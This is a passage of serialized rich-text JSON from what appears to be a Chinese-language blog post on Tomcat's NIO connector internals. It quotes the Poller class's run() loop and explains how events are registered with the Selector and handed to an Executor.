{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;00XP-1659061221404&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bueF-1659061221403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                NioEndpoint.log.debug(AbstractEndpoint.sm.getString(\&#34;endpoint.err.close\&#34;), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xyjP-1659061221407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RMJv-1659061221406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QnoD-1659061221409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RjEB-1659061221408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pq9J-1659061221411&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T0IB-1659061221410&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lptv-1659061221413&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wsLc-1659061221412&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JrLn-1659061221415&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dK57-1659061221414&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FLtV-1659061192148&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v2rL-1659061192146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1gfg-1659061292752&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cicq-1659061292749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Poller&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hChB-1659062423855&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;anFi-1659062423854&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fXxu-1659060467270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class Poller implements Runnable {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x6e6-1659062425329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XaCe-1659062425327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KoUR-1659063022646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kODZ-1659063022644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     ......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNIX-1659063037210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Gr7-1659063037208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FKgP-1659063020195&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jEKr-1659063020193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yIw1-1659063017883&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WL8s-1659063017882&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void run() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RCql-1659063017885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ggYj-1659063017884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            // Loop until destroy() is called&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hgGd-1659063017887&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bPCL-1659063017886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            while (true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i4yo-1659063017889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZIEy-1659063017888&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                boolean hasEvents = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X5Ts-1659063017891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ic4V-1659063017890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Drtu-1659063017893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IU8q-1659063017892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (!close) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J3vg-1659063017895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KYvl-1659063017894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        //查看是否有连接进来,如果有就将Channel注册进Selector中&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SqQO-1659063017897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vPei-1659063017896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        hasEvents = events();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n62s-1659063017899&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AJ1X-1659063017898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hlVF-1659063017901&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HdDu-1659063017900&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (close) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I5ME-1659063017904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fJfM-1659063017902&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        events();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UlAQ-1659063017906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WH9P-1659063017905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        timeout(0, false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OHfq-1659063017908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vKQ0-1659063017907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dUjG-1659063017910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Ima-1659063017909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            selector.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xkKQ-1659063017912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;49HG-1659063017911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        } catch (IOException ioe) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JKcw-1659063017914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R0VV-1659063017913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            log.error(sm.getString(\&#34;endpoint.nio.selectorCloseFail\&#34;), ioe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hgiH-1659063017916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CDf8-1659063017915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A7sP-1659063017918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z3wH-1659063017917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wyCi-1659063017920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zJtE-1659063017919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mT6Z-1659063017922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O0S4-1659063017921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (Throwable x) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N3XA-1659063017924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ERLw-1659063017923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    ExceptionUtils.handleThrowable(x);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYP4-1659063017926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;16lL-1659063017925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    log.error(sm.getString(\&#34;endpoint.nio.selectorLoopError\&#34;), x);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZqXa-1659063017928&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tLAC-1659063017927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s6M9-1659063017930&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y1PK-1659063017929&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OwLR-1659063017932&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KoIN-1659063017931&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (keyCount == 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M9M9-1659063017934&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GWvx-1659063017933&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    hasEvents = (hasEvents | events());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QgC9-1659063017936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8kXM-1659063017935&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ihqJ-1659063017938&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8AZ0-1659063017937&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Iterator&lt;SelectionKey&gt;iterator =&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ohS-1659063017940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Slro-1659063017939&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    keyCount &gt; 0 ? selector.selectedKeys().iterator() : null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dqRv-1659063017942&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ebnx-1659063017941&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                // Walk through the collection of ready keys and dispatch&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8EUx-1659063017944&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eil5-1659063017943&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                // any active event.&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mKdv-1659063017946&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kbbf-1659063017945&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                while (iterator != null &amp;&amp; iterator.hasNext()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L2c6-1659063017948&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ugyy-1659063017947&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    SelectionKey sk = iterator.next();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J1XN-1659063017950&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pTKA-1659063017949&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    NioSocketWrapper socketWrapper = (NioSocketWrapper) sk.attachment();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RbaU-1659063017952&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kngw-1659063017951&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    // Attachment may be null if another thread has called&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i6xG-1659063017954&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l6RP-1659063017953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    // cancelledKey()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VFlf-1659063017956&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qKDe-1659063017955&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (socketWrapper == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8x4Q-1659063017958&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VmNV-1659063017957&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        iterator.remove();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TCAw-1659063017960&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dtfy-1659063017959&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MZBI-1659063017962&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8RON-1659063017961&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        iterator.remove();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HWuo-1659063017965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oDMD-1659063017964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        processKey(sk, socketWrapper);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GwgD-1659063017967&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XkHn-1659063017966&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZxfI-1659063017969&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QR4t-1659063017968&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jKPw-1659063017971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bUkE-1659063017970&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oDUY-1659063017973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U7aG-1659063017972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                // Process timeouts&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NTN8-1659063017975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;doUD-1659063017974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                timeout(keyCount,hasEvents);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W1lV-1659063017977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LVbZ-1659063017976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7mfz-1659063017979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ohbb-1659063017978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lLqo-1659063017981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cODS-1659063017980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            getStopLatch().countDown();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4nfG-1659063017983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yJTs-1659063017982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZnzB-1659063017985&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q5En-1659063017984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uXYV-1659063017987&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tRUh-1659063017986&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U8oZ-1659062425546&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B12b-1659062425544&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04ca-1659062428301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gBjl-1659062428299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q8oh-1659062428493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Yfs-1659062428491&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zNiG-1659061538637&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KKDW-1659061538634&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用events()方法，查看队列中是否有Pollerevent事件，如果有就将其取出，然后把里面的Channel取出来注册到该Selector中，然后不断轮询所有注册过的Channel查看是否有事件发生。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qkvr-1659063402618&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wvwo-1659063402616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;当有事件发生时，则调用SocketProcessor交给Executor执行。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&